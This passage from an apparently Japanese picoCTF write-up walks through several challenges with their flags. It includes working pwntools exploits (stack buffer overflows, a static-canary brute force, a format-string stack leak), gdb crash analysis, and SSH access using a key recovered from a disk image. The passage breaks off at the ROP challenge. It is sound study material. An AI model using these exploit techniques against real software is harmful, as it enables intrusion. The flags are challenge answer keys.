-----------+------------------------+-----------+----------+--------- id | integer | | not null | firstname | character varying(255) | | | lastname | character varying(255) | | | address | character varying(255) | | | Indexes: "flags_pkey" PRIMARY KEY, btree (id) pico=# select * from flags; id | firstname | lastname | address ----+-----------+-----------+---------------------------------------- 1 | Luke | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_472538a0} 2 | Leia | Organa | Alderaan 3 | Han | Solo | Corellia (3 rows)
picoCTF{L3arN_S0m3_5qL_t0d4Y_472538a0}
x-sixty-what (Binary Exploitation 200)
$ file vuln vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3267ee5914133fcf5ee026a4aa2b201324f02089, for GNU/Linux 3.2.0, not stripped $ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln Welcome to 64-bit. Give me a string that gets you the flag: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffdd50 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RBX: 0x0 RCX: 0x7ffff7dcda00 --> 0xfbad2288 RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x7fffffffdd51 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x4012d1 (<vuln+31>: ret) R8 : 0x4052c5 --> 0x0 R9 : 0x7ffff7fd94c0 (0x00007ffff7fd94c0) R10: 0x405010 --> 0x0 R11: 0x246 R12: 0x401150 (<_start>: endbr64) R13: 0x7fffffffdea0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4012ca <vuln+24>: call 0x401100 <gets@plt> 0x4012cf <vuln+29>: nop 0x4012d0 <vuln+30>: leave => 0x4012d1 <vuln+31>: ret 0x4012d2 <main>: endbr64 0x4012d6 <main+4>: push rbp 0x4012d7 <main+5>: mov rbp,rsp 0x4012da <main+8>: sub rsp,0x20 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffdda8 ("AAKAAgAA6AAL") 0024| 0x7fffffffddb0 --> 0x7f004c414136 0032| 0x7fffffffddb8 --> 0x3e800000000 0040| 0x7fffffffddc0 --> 0x401340 (<__libc_csu_init>: endbr64) 0048| 0x7fffffffddc8 --> 0x7ffff7a03c87 (<__libc_start_main+231>: mov edi,eax) 0056| 0x7fffffffddd0 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004012d1 in vuln () gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72 $ ROPgadget --binary vuln | grep ": ret" 0x000000000040101a : ret
BOFでflag関数をコールする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 63211) else: p = process('./vuln') elf = ELF('./vuln') ret_addr = 0x40101a flag_addr = elf.symbols['flag'] payload = b'A' * 72 payload += p64(ret_addr) payload += p64(flag_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 63211: Done [*] '/mnt/hgfs/Shared/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Welcome to 64-bit. Give me a string that gets you the flag: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00' picoCTF{b1663r_15_b3773r_ec424efd} [*] Closed connection to saturn.picoctf.net port 63211
picoCTF{b1663r_15_b3773r_ec424efd}
Bbbbloat (Reverse Engineering 300)
Ghidraでデコンパイルする。
undefined8 FUN_00101307(void) { char *__s; long in_FS_OFFSET; int local_48; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_38 = 0x4c75257240343a41; local_30 = 0x3062396630664634; local_28 = 0x5f353066635f3d33; local_20 = 0x4e626164336864; printf("What\'s my favorite number? "); __isoc99_scanf(); if (local_48 == 0x86187) { __s = (char *)FUN_00101249(0,&local_38); fputs(__s,stdout); putchar(10); free(__s); } else { puts("Sorry, that\'s not it!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
>>> 0x86187 549255
実行して549255を指定すればよい。
$ ./bbbbloat What's my favorite number? 549255 picoCTF{cu7_7h3_bl047_d059b523}
picoCTF{cu7_7h3_bl047_d059b523}
buffer overflow 2 (Binary Exploitation 300)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1c57f0cbd109ed51024baf11930a5364186c28df, for GNU/Linux 3.2.0, not stripped $ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 128 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA' gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln Please enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x81 EBX: 0x41413741 ('A7AA') ECX: 0xf7faedc7 --> 0xfaf8900a EDX: 0xf7faf890 --> 0x0 ESI: 0xf7fae000 --> 0x1d4d8c EDI: 0x0 EBP: 0x6941414d ('MAAi') ESP: 0xffffcf80 ("ANAAjAA9AAOA") EIP: 0x41384141 ('AA8A') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41384141 [------------------------------------stack-------------------------------------] 0000| 0xffffcf80 ("ANAAjAA9AAOA") 0004| 0xffffcf84 ("jAA9AAOA") 0008| 0xffffcf88 ("AAOA") 0012| 0xffffcf8c --> 0x300 0016| 0xffffcf90 --> 0xffffcfb0 --> 0x1 0020| 0xffffcf94 --> 0x0 0024| 0xffffcf98 --> 0x0 0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41384141 in ?? () gdb-peda$ patto AA8A AA8A found at offset: 112
BOFで引数を指定し、以下の順でバッファを構成し、win関数をコールする。
・任意の112バイト ・win関数アドレス ・任意の4バイト ・第一引数 ・第二引数
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 61498) else: p = process('./vuln') elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 112 payload += p32(win_addr) payload += b'BBBB' payload += p32(0xCAFEF00D) payload += p32(0xF00DF00D) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip() print(data) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 61498: Done [*] '/mnt/hgfs/Shared/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Please enter your string: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0' b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0' picoCTF{argum3nt5_4_d4yZ_74abd092} [*] Closed connection to saturn.picoctf.net port 61498
picoCTF{argum3nt5_4_d4yZ_74abd092}
buffer overflow 3 (Binary Exploitation 300)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, for GNU/Linux 3.2.0, not stripped
コード内で固定のCANARYを実装している。ローカルではcanary.txtに1234と書いて保存して試す。
$ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln How Many Bytes will You Write Into the Buffer? > 100 Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH1234A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Ok... Now Where's the Flag? Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x41344141 ('AA4A') ECX: 0xf7faf890 --> 0x0 EDX: 0x0 ESI: 0xf7fae000 --> 0x1d4d8c EDI: 0x0 EBP: 0x41414a41 ('AJAA') ESP: 0xffffcf80 ("AAKAAgAA6AAL\350\003") EIP: 0x35414166 ('fAA5') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x35414166 [------------------------------------stack-------------------------------------] 0000| 0xffffcf80 ("AAKAAgAA6AAL\350\003") 0004| 0xffffcf84 ("AgAA6AAL\350\003") 0008| 0xffffcf88 ("6AAL\350\003") 0012| 0xffffcf8c --> 0x3e8 0016| 0xffffcf90 --> 0xffffcfb0 --> 0x1 0020| 0xffffcf94 --> 0x0 0024| 0xffffcf98 --> 0x0 0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x35414166 in ?? () gdb-peda$ gdb-peda$ patto fAA5 fAA5 found at offset: 84
ブルートフォースでCANARY値を求める。あとは任意の64バイトの後にCANARY値をバッファに置き、BOFでwin関数をコールする。
#!/usr/bin/env python3 from pwn import * canary = b'' for i in range(4): for code in range(256): if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 54482) else: p = process('./vuln') payload = b'A' * 64 + canary + bytes([code]) data = p.recvuntil(b'> ').decode() print(data + str(len(payload))) p.sendline(str(len(payload)).encode()) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().decode() print(data) p.close() if 'Stack Smashing Detected' not in data: canary += bytes([code]) break if len(sys.argv) == 1: p = remote('saturn.picoctf.net', 54482) else: p = process('./vuln') elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 64 payload += canary payload += b'A' * (84 - len(payload)) payload += p32(win_addr) data = p.recvuntil(b'> ').decode() print(data + str(len(payload))) p.sendline(str(len(payload)).encode()) data = p.recvuntil(b'> ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().decode() print(data) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 65 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00' ***** Stack Smashing Detected ***** : Canary Value Corrupt! [*] Closed connection to saturn.picoctf.net port 54482 [+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 65 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01' ***** Stack Smashing Detected ***** : Canary Value Corrupt! [*] Closed connection to saturn.picoctf.net port 54482 [+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 65 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x02' ***** Stack Smashing Detected ***** : Canary Value Corrupt! [*] Closed connection to saturn.picoctf.net port 54482 : : [+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 68 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRb' ***** Stack Smashing Detected ***** : Canary Value Corrupt! [*] Closed connection to saturn.picoctf.net port 54482 [+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 68 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRc' ***** Stack Smashing Detected ***** : Canary Value Corrupt! [*] Closed connection to saturn.picoctf.net port 54482 [+] Opening connection to saturn.picoctf.net on port 54482: Done How Many Bytes will You Write Into the Buffer? > 68 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd' Ok... Now Where's the Flag? [*] Closed connection to saturn.picoctf.net port 54482 [+] Opening connection to saturn.picoctf.net on port 54482: Done [*] '/mnt/hgfs/Shared/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) How Many Bytes will You Write Into the Buffer? > 88 Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93\x04\x08' Ok... Now Where's the Flag? picoCTF{Stat1C_c4n4r13s_4R3_b4D_32625866} [*] Closed connection to saturn.picoctf.net port 54482
picoCTF{Stat1C_c4n4r13s_4R3_b4D_32625866}
Eavesdrop (Forensics 300)
TCP Streamを見てみる。
[tcp.stream eq 0] Hey, how do you decrypt this file again? You're serious? Yeah, I'm serious *sigh* openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123 Ok, great, thanks. Let's use Discord next time, it's more secure. C'mon, no one knows we use this program like this! Whatever. Hey. Yeah? Could you transfer the file to me again? Oh great. Ok, over 9002? Yeah, listening. Sent it Got it. You're unbelievable [tcp.stream eq 2] Salted__g>,.a m.....,..l_J..c.3...,9.....iUT...6
tcp.stream eq 2のパケットNo.57から暗号化データをエクスポートし、tcp.stream eq 0の中で行っているコマンドで復号する。
$ openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123 *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. $ cat file.txt picoCTF{nc_73115_411_aefc6100}
picoCTF{nc_73115_411_aefc6100}
flag leak (Binary Exploitation 300)
$ nc saturn.picoctf.net 50082 Tell me a story and then I'll tell you one >> AAAA%p.%p.%p.%p.%p.%p.%p.%p Here's a story - AAAA0xffe315a0.0xffe315c0.0x8049346.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7cdf03860c5c78d6e375e91d88a2b05b28389fd0, for GNU/Linux 3.2.0, not stripped $ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x08049333 <+0>: endbr32 0x08049337 <+4>: push ebp 0x08049338 <+5>: mov ebp,esp 0x0804933a <+7>: push ebx 0x0804933b <+8>: sub esp,0xc4 0x08049341 <+14>: call 0x80491f0 <__x86.get_pc_thunk.bx> 0x08049346 <+19>: add ebx,0x2cba 0x0804934c <+25>: sub esp,0x8 0x0804934f <+28>: push 0x40 0x08049351 <+30>: lea eax,[ebp-0x48] 0x08049354 <+33>: push eax 0x08049355 <+34>: call 0x80492b6 <readflag> 0x0804935a <+39>: add esp,0x10 0x0804935d <+42>: sub esp,0xc 0x08049360 <+45>: lea eax,[ebx-0x1f9c] 0x08049366 <+51>: push eax 0x08049367 <+52>: call 0x80490f0 <printf@plt> 0x0804936c <+57>: add esp,0x10 0x0804936f <+60>: sub esp,0x8 0x08049372 <+63>: lea eax,[ebp-0xc8] 0x08049378 <+69>: push eax 0x08049379 <+70>: lea eax,[ebx-0x1f6d] 0x0804937f <+76>: push eax 0x08049380 <+77>: call 0x8049180 <__isoc99_scanf@plt> 0x08049385 <+82>: add esp,0x10 0x08049388 <+85>: sub esp,0xc 0x0804938b <+88>: lea eax,[ebx-0x1f67] 0x08049391 <+94>: push eax 0x08049392 <+95>: call 0x8049120 <puts@plt> 0x08049397 <+100>: add esp,0x10 0x0804939a <+103>: sub esp,0xc 0x0804939d <+106>: lea eax,[ebp-0xc8] 0x080493a3 <+112>: push eax 0x080493a4 <+113>: call 0x80490f0 <printf@plt> 0x080493a9 <+118>: add esp,0x10 0x080493ac <+121>: sub esp,0xc 0x080493af <+124>: push 0xa 0x080493b1 <+126>: call 0x8049170 <putchar@plt> 0x080493b6 <+131>: add esp,0x10 0x080493b9 <+134>: nop 0x080493ba <+135>: mov ebx,DWORD PTR [ebp-0x4] 0x080493bd <+138>: leave 0x080493be <+139>: ret End of assembler dump. gdb-peda$ b *0x8049385 Breakpoint 1 at 0x8049385 gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln Tell me a story and then I'll tell you one >> 1234 [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x804c000 --> 0x804bf10 --> 0x1 ECX: 0x1 EDX: 0xf7faf89c --> 0x0 ESI: 0xf7fae000 --> 0x1d4d8c EDI: 0x0 EBP: 0xffffcf78 --> 0xffffcf98 --> 0x0 ESP: 0xffffcea0 --> 0x804a093 ("%127s") EIP: 0x8049385 (<vuln+82>: add esp,0x10) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049379 <vuln+70>: lea eax,[ebx-0x1f6d] 0x804937f <vuln+76>: push eax 0x8049380 <vuln+77>: call 0x8049180 <__isoc99_scanf@plt> => 0x8049385 <vuln+82>: add esp,0x10 0x8049388 <vuln+85>: sub esp,0xc 0x804938b <vuln+88>: lea eax,[ebx-0x1f67] 0x8049391 <vuln+94>: push eax 0x8049392 <vuln+95>: call 0x8049120 <puts@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffcea0 --> 0x804a093 ("%127s") 0004| 0xffffcea4 --> 0xffffceb0 ("1234") 0008| 0xffffcea8 --> 0xf7ddd012 --> 0x2dd76967 0012| 0xffffceac --> 0x8049346 (<vuln+19>: add ebx,0x2cba) 0016| 0xffffceb0 ("1234") 0020| 0xffffceb4 --> 0xffffff00 0024| 0xffffceb8 --> 0x7b1ea71 0028| 0xffffcebc --> 0xf7de1f24 --> 0x2e35 ('5.') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08049385 in vuln () gdb-peda$ x/64w $esp 0xffffcea0: 0x0804a093 0xffffceb0 0xf7ddd012 0x08049346 0xffffceb0: 0x34333231 0xffffff00 0x07b1ea71 0xf7de1f24 0xffffcec0: 0xf7fd0110 0xffffffff 0xf7e49559 0xf7de3534 0xffffced0: 0xf7fd0110 0x00000000 0xf7fac880 0xf7e4cf56 0xffffcee0: 0xf7fdfeb9 0x00000001 0x00000000 0x0804838d 0xffffcef0: 0x0804c034 0xf7fe4fb8 0x0804838d 0xf7ffd940 0xffffcf00: 0xffffcf34 0xf7ffdaf8 0xf7fd0410 0x00000001 0xffffcf10: 0x00000001 0x00000000 0xf7fd0410 0x00000001 0xffffcf20: 0xf7ffd000 0x08048338 0xf7faed80 0xf7e40dbb 0xffffcf30: 0x67616c66 0x676f687b 0x00007d65 0xf7e9806d 0xffffcf40: 0xf7fe4f09 0x0804c000 0xf7fae000 0x00000000 0xffffcf50: 0xffffcf98 0xf7fead50 0x00000000 0x80367c00 0xffffcf60: 0x000003e8 0xf7e98036 0x0804c000 0x08049410 0xffffcf70: 0x000003e8 0x0804c000 0xffffcf98 0x08049418 0xffffcf80: 0x00000001 0xffffd044 0xffffd04c 0x000003e8 0xffffcf90: 0xffffcfb0 0x00000000 0x00000000 0xf7df1fa1
36番目のスタック以降にフラグが入っているので、各スタックのデータを取得し、文字列として表示させる。
#!/usr/bin/env python3 from pwn import * i = 36 flag = b'' while True: payload = '%' + str(i) + '$p' p = remote('saturn.picoctf.net', 56197) data = p.recvuntil(b'>> ').decode() print(data + payload) p.sendline(payload.encode()) data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) flag += p32(int(data, 16)) p.close() if b'}' in flag: print(flag.decode()) break i += 1
実行結果は以下の通り。
[+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %36$p Here's a story - 0x6f636970 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %37$p Here's a story - 0x7b465443 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %38$p Here's a story - 0x6b34334c [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %39$p Here's a story - 0x5f676e31 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %40$p Here's a story - 0x67346c46 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %41$p Here's a story - 0x6666305f [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %42$p Here's a story - 0x3474535f [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %43$p Here's a story - 0x645f6b63 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %44$p Here's a story - 0x30623739 [*] Closed connection to saturn.picoctf.net port 56197 [+] Opening connection to saturn.picoctf.net on port 56197: Done Tell me a story and then I'll tell you one >> %45$p Here's a story - 0x7d343964 [*] Closed connection to saturn.picoctf.net port 56197 picoCTF{L34k1ng_Fl4g_0ff_St4ck_d97b0d94}
picoCTF{L34k1ng_Fl4g_0ff_St4ck_d97b0d94}
Operation Oni (Forensics 300)
Autopsyで開き、[vol3]の/root/.ssh/id_ed25519をエクスポートする。この鍵を使って、接続する。
$ ssh -i id_ed25519 -p 65340 ctf-player@saturn.picoctf.net The authenticity of host '[saturn.picoctf.net]:65340 ([18.217.86.78]:65340)' can't be established. ECDSA key fingerprint is SHA256:0L/+wJ14/Sk4s6Ue+TxXnAW7qNBuaMeIxA9dXp2zzaU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[saturn.picoctf.net]:65340,[18.217.86.78]:65340' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. ctf-player@challenge:~$ ls flag.txt ctf-player@challenge:~$ cat flag.txt picoCTF{k3y_5l3u7h_d6570e30}
picoCTF{k3y_5l3u7h_d6570e30}
ropfu (Binary Exploitation 300)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped $ checksec.sh --file vuln RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX disabled Not an ELF file No RPATH No RUNPATH vuln $ gdb -q ./vuln Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/vuln How strong is your ROP-fu? Snatch the shell from my hand, grasshopper! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0xffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EBX: 0x41412d41 ('A-AA') ECX: 0x80e5300 --> 0xfbad2288 EDX: 0xffffcfa4 --> 0x0 ESI: 0x80e5000 --> 0x0 EDI: 0x80e5000 --> 0x0 EBP: 0x44414128 ('(AAD') ESP: 0xffffcf60 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x413b4141 ('AA;A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x413b4141 [------------------------------------stack-------------------------------------] 0000| 0xffffcf60 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffcf64 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffcf68 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffcf6c ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffcf70 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffcf74 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffcf78 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffcf7c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x413b4141 in ?? () gdb-peda$ patto AA;A AA;A found at offset: 28
ROPチェーンを確認し、そのチェーンを送信する。
